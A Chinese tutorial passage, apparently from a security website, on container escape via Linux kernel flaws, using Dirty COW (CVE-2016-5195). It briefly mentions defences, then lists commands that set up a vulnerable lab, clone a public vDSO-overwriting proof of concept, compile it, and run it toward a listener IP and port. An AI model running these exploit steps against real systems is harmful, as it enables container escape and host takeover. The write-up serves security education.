5 内核漏洞导致的容器逃逸
Linux 内核漏洞的危害之大、影响范围之广,使得它在各种攻防话题下都占据非常重要的一席。无论攻防场景怎样变化,我们对内核漏洞的利用往往都是从用户空间非法进入内核空间开始,到内核空间赋予当前或其他进程高权限后回到用户空间结束。
从操作系统层面来看,容器进程只是一种受到各种安全机制约束的进程,因此从攻防两端来看,容器逃逸都遵循传统的权限提升流程。攻击者可以凭借此特点拓展容器逃逸的思路,一旦有新的内核漏洞产生,就可以考虑它是否能够用于容器逃逸;而防守者则能够针对此特征进行防护和检测,如宿主机内核打补丁,或检查该内核漏洞利用有什么特点。
我们的关注点并非是内核漏洞,列举并剖析过多内核漏洞无益,但我们可以提出如下问题:为何内核漏洞能够用于容器逃逸,在具体实施过程中与内核漏洞用于传统权限提升有什么不同,在有了内核漏洞利用代码之后还需要做哪些工作才能实现容器逃逸。
5.1 CVE-2016-5195
近年来,Linux 系统曝出过无数内核漏洞,其中能够用来提权的也不少,脏牛依赖于内存页的写时复制机制,该机制英文名称为 Copy-on-Write,再结合内存页特性,将漏洞命名为 Dirty CoW,译为脏牛)大概是其中最有名气的漏洞之一。漏洞发现者甚至为其申请了专属域名(dirtycow.ninja),在笔者的印象中,上一个同样申请了域名的严重漏洞还是 2014 年的心脏滴血(CVE-2014-0160,heartbleed.com)。自这两个漏洞开始,越来越多的研究人员开始为他们发现的高危漏洞申请域名(尽管依然是极少数)。
关于脏牛漏洞的分析和利用文章早已遍布全网。这里我们使用来自 scumjr 的 PoC 来完成容器逃逸。该利用的核心思路是向 vDSO 内写入 shellcode 并劫持正常函数的调用过程。
复现:
./metarget cnv install cve-2016-5195
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
docker-compose run dirtycow /bin/bash
进入容器,编译 POC:
cd /dirtycow-vdso/
make
./0xdeadbeef 192.168.172.136:1234
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论